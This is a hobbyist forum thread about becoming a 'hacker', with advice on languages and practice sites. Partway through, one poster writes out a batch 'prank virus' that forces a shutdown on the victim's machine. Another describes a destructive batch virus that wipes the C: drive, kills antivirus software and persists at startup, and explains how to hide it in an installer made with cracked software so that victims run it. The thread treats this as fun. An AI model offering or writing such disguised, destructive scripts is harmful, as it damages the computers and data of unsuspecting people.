Hacking

[timcarroll]

well I want to be a 'hacker' I have learned HTML and a lot of javascript (still new to it though) what do you think I should work on next? Any software I should get to know? Any more languages commonly used? Anything would help.

batch- a lot of easy ways to do things there. just google batch commands or go to this page

thanks for the link! Fun to mess with but... A little too basic.

Hack This Site!

It's the Wikipedia of hacking. You're better off looking there than here.

[LizzyReikoZ]

I think you should know details on what you want to hack, then just google how to do it. I've learned some good things that way. Here's a site if you want to hack someone on freewebs: Education is Key

Ah another future cracker. Welcome aboard!

Keep in mind, cracking is not simply something you can learn over night or in a short course. cracking takes time, commitment, and dedication.

I'm a pretty old school cracker and I don't like people calling me or anyone else a "hacker." Hackers build stuff. Crackers finds loopholes and exploit them. So in short, people that make programs, games, applications, etc are all "hackers." People, like myself, who use the programs for the purpose to find a loophole and exploit the loophole to benefit themselves or others are "crackers." Hackers were the name givin to use by the media. Unfortunately not many people cared so we naturally excepted the name.
I on the other hand still don't like the name "hacker" since its been put to have a bad reputation. But since now a "cracker" is a white person I suppose I would have no other choice adopting the name "hacker." I'm black so calling myself a "cracker" would look pretty bad.
So as much as i don't like the term, I still use it.

Anyway, enough about that.

I recommend doing what "headcase" case and checking out hack this site. Its a pretty fun web site dedicated to hacking and giving you a bunch of hacking missions. They will help you become a hacker. If you ever completely finish the site, you will pretty much be worshiped lol

But as far as what "LadyMakayla" said, batch is a useless language. If you want I will write a tutorial on here for how to use it and how to program in batch. Didnt take me more then 10 minutes to learn. You can't hack with batch...unless your planning on hacking someone that still uses Windows 95/98. Or cracking WEP keys. It's still a fun language to know. But as far is it helping you become a hacker, it's a pretty dead programming language.


Now, I say learn C and C++ and since you already know HTML and JavaScript, you seem all set. If your learning JavaScript, you might as well learn Java too. Java will be extremely easy if you know JavaScript.

Best of luck, if you need help, someone to practice with or someone to show you examples, I will be more then happy to help/teach you.

[timcarroll]

wow. You rock. Thanks a whole lot that really changes my "view" on cracking. One Q tho... What do you use c++ for in cracking?

[CrazyGoth666]

Writing stuff in batch can be good for making people think they've been hacked or have a virus. I would agree with learning C and C++. Look for sources of information on websites specifically made for hacking. I know a good one, but its terms of use prevent me from disclosing it. Just use google, you can learn a lot there.

as for C and C++ most MAJOR exploits like local roots, remote roots, and buffer overflows are written in C and C++ they are both terrific languages.. i would start off learning perl and python first tho..

[123Shadow123]

Oh yes, how can I forget pearl!

Pearl is a really fun language. Its simple and has many uses. Definately learn pearl! As for python......ah isnt really necessary but it can come in handy sometimes. I havent really "learned" python but I have glanced at it and it seems pretty simple.

Yes, batch is pretty much used as a joke/prank virus. For example:

file.bat

@echo off
:A
title Virus
echo Hello, this is a virus. Would you like to remove it?
set input=
set /p input=Press Y for yes or N for no:
if %input%==y goto y
if %input%==n goto n


:n
cls
echo Then good for you. Since you like it so much, shutdown time
shutdown -s -t 10 -c "Shutdown time"
while del file.bat
exit

:y
cls
echo Well to freakin' bad!
shutdown -s -t 10 -c "Well to freakin' bad"
while del file.bat
exit


There we go. That took all of 2 minutes to write out. Alot of it wasnt necessary. Like giving it a title, giving it the echo's in the :y and :n parts or even giving an option for y and n. I just like to give them a choice that will, either way, shutdown the computer in 10 seconds. Giving them time to read the messages and to delete the file lol.

Batch can be fun. Useful....not really but still fun ^_^

Also, get a practice typing program. This will help you type alot faster.
The faster you type, the better. I forgot how fast I type. I think it was around 220wpm with no mistakes. I can definately do 300wpm but have some errors. Like when i write all my long tutorials on this site, i try to go over 300wpm and thats why i get spelling errors.


Anyway, learn pearl rather then batch

or a real batch virus..

After the Batch File is Created.. make sure you name it as the title and then get a crack or something for your installer.. I use Smart Install Maker 5.02 (this crack is easily found) and go thru the process or making an installer.. Make sure to add the option to open after install.. (most everyone including myself always run a program right after the install esp. if it gives me the option to) what this does simply is instead of them seeing its just a batch file or anything susp. it will just run it for them

What this does:

1.Copy itself into startup
2.Copy itself over one thousand times into random spots in your computer
3.Hides its self and all other created files
4.Deletes everything in the C:/ drive if it exist. the cool thing is tho.. when using dos it would ask you are you sure you want to delete C:/? With /Y we are already telling it yes so it proceeds. =)
5.Task kill MSN, Norton, Windows Explorer, Limewire
6.Swap the left mouse button with the right one
7.Opens alert boxes
8.Changes the time to 00:00 and shuts down the computer

^^^^^

1)you have 2 titles
2)no point in changing the color to red
3)why kill the tasks limewire and iexplore (limewire is just a program and iexplore is just internet explorer)
4)"cd %userprofile%My Documents" should be "cd %userprofile% My Documents"
5)not seeing any command that copy the file over 1k times. just seeing a command that hides the file as another extension type (i.e: "copy MurderSkillz.bat RestInPeace.jpg" hiding it as a jpg file instead of a bat file)
6)couldnt someone simply remove the reg value and remove it from the startup in msconfig and the virus would stop running completely? despite still having the files still on the hard drive?

[CrazyGoth666]

oooh! use winrar to make a heka good installer. i like that virus....
